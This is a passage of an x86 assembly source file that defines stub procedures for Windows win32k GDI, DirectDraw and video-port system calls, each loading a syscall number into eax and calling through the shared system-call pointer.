NtGdiD3dContextCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4144 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiD3dContextCreate ENDP ; ULONG __stdcall NtGdiD3dContextDestroy( ULONG arg_01 ); NtGdiD3dContextDestroy PROC STDCALL arg_01:DWORD mov eax , 4145 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dContextDestroy ENDP ; ULONG __stdcall NtGdiD3dContextDestroyAll( ULONG arg_01 ); NtGdiD3dContextDestroyAll PROC STDCALL arg_01:DWORD mov eax , 4146 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dContextDestroyAll ENDP ; ULONG __stdcall NtGdiD3dValidateTextureStageState( ULONG arg_01 ); NtGdiD3dValidateTextureStageState PROC STDCALL arg_01:DWORD mov eax , 4147 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dValidateTextureStageState ENDP ; ULONG __stdcall NtGdiD3dDrawPrimitives2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiD3dDrawPrimitives2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4148 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiD3dDrawPrimitives2 ENDP ; ULONG __stdcall NtGdiDdGetDriverState( ULONG arg_01 ); NtGdiDdGetDriverState PROC STDCALL arg_01:DWORD mov eax , 4149 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdGetDriverState ENDP ; ULONG __stdcall NtGdiDdAddAttachedSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdAddAttachedSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4150 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdAddAttachedSurface ENDP ; ULONG __stdcall NtGdiDdAlphaBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdAlphaBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4151 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdAlphaBlt ENDP ; ULONG __stdcall NtGdiDdAttachSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdAttachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4152 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdAttachSurface ENDP ; ULONG __stdcall NtGdiDdBeginMoCompFrame( ULONG arg_01 , ULONG arg_02 ); NtGdiDdBeginMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4153 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdBeginMoCompFrame ENDP ; ULONG __stdcall NtGdiDdBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4154 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdBlt ENDP ; ULONG __stdcall NtGdiDdCanCreateSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCanCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4155 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCanCreateSurface ENDP ; ULONG __stdcall NtGdiDdCanCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCanCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4156 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCanCreateD3DBuffer ENDP ; ULONG __stdcall NtGdiDdColorControl( ULONG arg_01 , ULONG arg_02 ); NtGdiDdColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4157 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdColorControl ENDP ; ULONG __stdcall NtGdiDdCreateDirectDrawObject( ULONG arg_01 ); NtGdiDdCreateDirectDrawObject PROC STDCALL arg_01:DWORD mov eax , 4158 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdCreateDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdCreateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiDdCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4159 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiDdCreateSurface ENDP ; ULONG __stdcall NtGdiDdCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiDdCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4160 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiDdCreateD3DBuffer ENDP ; ULONG __stdcall NtGdiDdCreateMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCreateMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4161 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCreateMoComp ENDP ; ULONG __stdcall NtGdiDdCreateSurfaceObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDdCreateSurfaceObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4162 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDdCreateSurfaceObject ENDP ; ULONG __stdcall NtGdiDdDeleteDirectDrawObject( ULONG arg_01 ); NtGdiDdDeleteDirectDrawObject PROC STDCALL arg_01:DWORD mov eax , 4163 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDeleteDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdDeleteSurfaceObject( ULONG arg_01 ); NtGdiDdDeleteSurfaceObject PROC STDCALL arg_01:DWORD mov eax , 4164 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDeleteSurfaceObject ENDP ; ULONG __stdcall NtGdiDdDestroyMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroyMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4165 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroyMoComp ENDP ; ULONG __stdcall NtGdiDdDestroySurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroySurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4166 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroySurface ENDP ; ULONG __stdcall NtGdiDdDestroyD3DBuffer( ULONG arg_01 ); NtGdiDdDestroyD3DBuffer PROC STDCALL arg_01:DWORD mov eax , 4167 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDestroyD3DBuffer ENDP ; ULONG __stdcall NtGdiDdEndMoCompFrame( ULONG arg_01 , ULONG arg_02 ); NtGdiDdEndMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4168 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdEndMoCompFrame ENDP ; ULONG __stdcall NtGdiDdFlip( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiDdFlip PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4169 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiDdFlip ENDP ; ULONG __stdcall NtGdiDdFlipToGDISurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdFlipToGDISurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4170 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdFlipToGDISurface ENDP ; ULONG __stdcall NtGdiDdGetAvailDriverMemory( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetAvailDriverMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4171 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetAvailDriverMemory ENDP ; ULONG __stdcall NtGdiDdGetBltStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetBltStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4172 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetBltStatus ENDP ; ULONG __stdcall NtGdiDdGetDC( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4173 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetDC ENDP ; ULONG __stdcall NtGdiDdGetDriverInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetDriverInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4174 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetDriverInfo ENDP ; ULONG __stdcall NtGdiDdGetDxHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdGetDxHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4175 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdGetDxHandle ENDP ; ULONG __stdcall NtGdiDdGetFlipStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4176 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetFlipStatus ENDP ; ULONG __stdcall NtGdiDdGetInternalMoCompInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetInternalMoCompInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4177 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetInternalMoCompInfo ENDP ; ULONG __stdcall NtGdiDdGetMoCompBuffInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompBuffInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4178 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompBuffInfo ENDP ; ULONG __stdcall NtGdiDdGetMoCompGuids( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompGuids PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4179 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompGuids ENDP ; ULONG __stdcall NtGdiDdGetMoCompFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4180 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompFormats ENDP ; ULONG __stdcall NtGdiDdGetScanLine( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetScanLine PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4181 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetScanLine ENDP ; ULONG __stdcall NtGdiDdLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4182 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdLock ENDP ; ULONG __stdcall NtGdiDdLockD3D( ULONG arg_01 , ULONG arg_02 ); NtGdiDdLockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4183 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdLockD3D ENDP ; ULONG __stdcall NtGdiDdQueryDirectDrawObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiDdQueryDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4184 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiDdQueryDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdQueryMoCompStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdQueryMoCompStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4185 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdQueryMoCompStatus ENDP ; ULONG __stdcall NtGdiDdReenableDirectDrawObject( ULONG arg_01 , ULONG arg_02 ); NtGdiDdReenableDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4186 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdReenableDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdReleaseDC( ULONG arg_01 ); NtGdiDdReleaseDC PROC STDCALL arg_01:DWORD mov eax , 4187 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdReleaseDC ENDP ; ULONG __stdcall NtGdiDdRenderMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdRenderMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4188 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdRenderMoComp ENDP ; ULONG __stdcall NtGdiDdResetVisrgn( ULONG arg_01 , ULONG arg_02 ); NtGdiDdResetVisrgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4189 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdResetVisrgn ENDP ; ULONG __stdcall NtGdiDdSetColorKey( ULONG arg_01 , ULONG arg_02 ); NtGdiDdSetColorKey PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4190 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdSetColorKey ENDP ; ULONG __stdcall NtGdiDdSetExclusiveMode( ULONG arg_01 , ULONG arg_02 ); NtGdiDdSetExclusiveMode PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4191 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdSetExclusiveMode ENDP ; ULONG __stdcall NtGdiDdSetGammaRamp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdSetGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4192 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdSetGammaRamp ENDP ; ULONG __stdcall NtGdiDdCreateSurfaceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdCreateSurfaceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4193 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdCreateSurfaceEx ENDP ; ULONG __stdcall NtGdiDdSetOverlayPosition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdSetOverlayPosition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4194 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdSetOverlayPosition ENDP ; ULONG __stdcall NtGdiDdUnattachSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnattachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4195 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnattachSurface ENDP ; ULONG __stdcall NtGdiDdUnlock( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnlock PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4196 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnlock ENDP ; ULONG __stdcall NtGdiDdUnlockD3D( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnlockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4197 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnlockD3D ENDP ; ULONG __stdcall NtGdiDdUpdateOverlay( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdUpdateOverlay PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4198 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdUpdateOverlay ENDP ; ULONG __stdcall NtGdiDdWaitForVerticalBlank( ULONG arg_01 , ULONG arg_02 ); NtGdiDdWaitForVerticalBlank PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4199 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdWaitForVerticalBlank ENDP ; ULONG __stdcall NtGdiDvpCanCreateVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpCanCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4200 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpCanCreateVideoPort ENDP ; ULONG __stdcall NtGdiDvpColorControl( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4201 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpColorControl ENDP ; ULONG __stdcall NtGdiDvpCreateVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4202 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpCreateVideoPort ENDP ; ULONG __stdcall NtGdiDvpDestroyVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpDestroyVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4203 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpDestroyVideoPort ENDP ; ULONG __stdcall NtGdiDvpFlipVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDvpFlipVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4204 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDvpFlipVideoPort ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortBandwidth( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortBandwidth PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4205 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortBandwidth ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortField( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortField PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4206 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortField ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortFlipStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4207 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortFlipStatus ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortInputFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortInputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4208 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortInputFormats ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortLine( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortLine PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4209 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortLine ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortOutputFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortOutputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4210 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortOutputFormats ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortConnectInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortConnectInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4211 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortConnectInfo ENDP ; ULONG __stdcall NtGdiDvpGetVideoSignalStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoSignalStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4212 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoSignalStatus ENDP ; ULONG __stdcall NtGdiDvpUpdateVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDvpUpdateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4213 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDvpUpdateVideoPort ENDP ; ULONG __stdcall NtGdiDvpWaitForVideoPortSync( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpWaitForVideoPortSync PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4214 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpWaitForVideoPortSync ENDP ; ULONG __stdcall NtGdiDvpAcquireNotification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDvpAcquireNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4215 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDvpAcquireNotification ENDP ; ULONG __stdcall NtGdiDvpReleaseNotification( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpReleaseNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4216 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpReleaseNotification ENDP ; ULONG __stdcall NtGdiDxgGenericThunk( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDxgGenericThunk PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4217 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDxgGenericThunk ENDP ; ULONG __stdcall NtGdiDeleteClientObj( ULONG arg_01 ); NtGdiDeleteClientObj PROC STDCALL arg_01:DWORD mov eax , 4218 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteClientObj ENDP ; ULONG __stdcall NtGdiDeleteColorSpace( ULONG arg_01 ); NtGdiDeleteColorSpace PROC STDCALL arg_01:DWORD mov eax , 4219 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteColorSpace ENDP ; ULONG __stdcall NtGdiDeleteColorTransform( ULONG arg_01 , ULONG arg_02 ); NtGdiDeleteColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4220 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDeleteColorTransform ENDP ; ULONG __stdcall NtGdiDeleteObjectApp( ULONG arg_01 ); NtGdiDeleteObjectApp PROC STDCALL arg_01:DWORD mov eax , 4221 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteObjectApp ENDP ; ULONG __stdcall NtGdiDescribePixelFormat( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDescribePixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4222 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDescribePixelFormat ENDP ; ULONG __stdcall NtGdiDestroyOPMProtectedOutput( ULONG arg_01 ); NtGdiDestroyOPMProtectedOutput PROC STDCALL arg_01:DWORD mov eax , 4223 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDestroyOPMProtectedOutput ENDP ; ULONG __stdcall NtGdiGetPerBandInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetPerBandInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4224 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetPerBandInfo ENDP ; ULONG __stdcall NtGdiDoBanding( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDoBanding PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4225 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDoBanding ENDP ; ULONG __stdcall NtGdiDoPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDoPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4226 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDoPalette ENDP ; ULONG __stdcall NtGdiDrawEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDrawEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4227 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDrawEscape ENDP ; ULONG __stdcall NtGdiEllipse( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiEllipse PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4228 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiEllipse ENDP ; ULONG __stdcall NtGdiEnableEudc( ULONG arg_01 ); NtGdiEnableEudc PROC STDCALL arg_01:DWORD mov eax , 4229 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEnableEudc ENDP ; ULONG __stdcall NtGdiEndDoc( ULONG arg_01 ); NtGdiEndDoc PROC STDCALL arg_01:DWORD mov eax , 4230 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndDoc ENDP ; ULONG __stdcall NtGdiEndGdiRendering( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEndGdiRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4231 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEndGdiRendering ENDP ; ULONG __stdcall NtGdiEndPage( ULONG arg_01 ); NtGdiEndPage PROC STDCALL arg_01:DWORD mov eax , 4232 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndPage ENDP ; ULONG __stdcall NtGdiEndPath( ULONG arg_01 ); NtGdiEndPath PROC STDCALL arg_01:DWORD mov eax , 4233 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndPath ENDP ; ULONG __stdcall NtGdiEnumFonts( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEnumFonts PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4234 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEnumFonts ENDP ; ULONG __stdcall NtGdiEnumObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEnumObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4235 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEnumObjects ENDP ; ULONG __stdcall NtGdiEqualRgn( ULONG arg_01 , ULONG arg_02 ); NtGdiEqualRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4236 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiEqualRgn ENDP ; ULONG __stdcall NtGdiEudcLoadUnloadLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEudcLoadUnloadLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4237 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEudcLoadUnloadLink ENDP ; ULONG __stdcall NtGdiExcludeClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiExcludeClipRect PROC STDCALL arg_01:DWORD 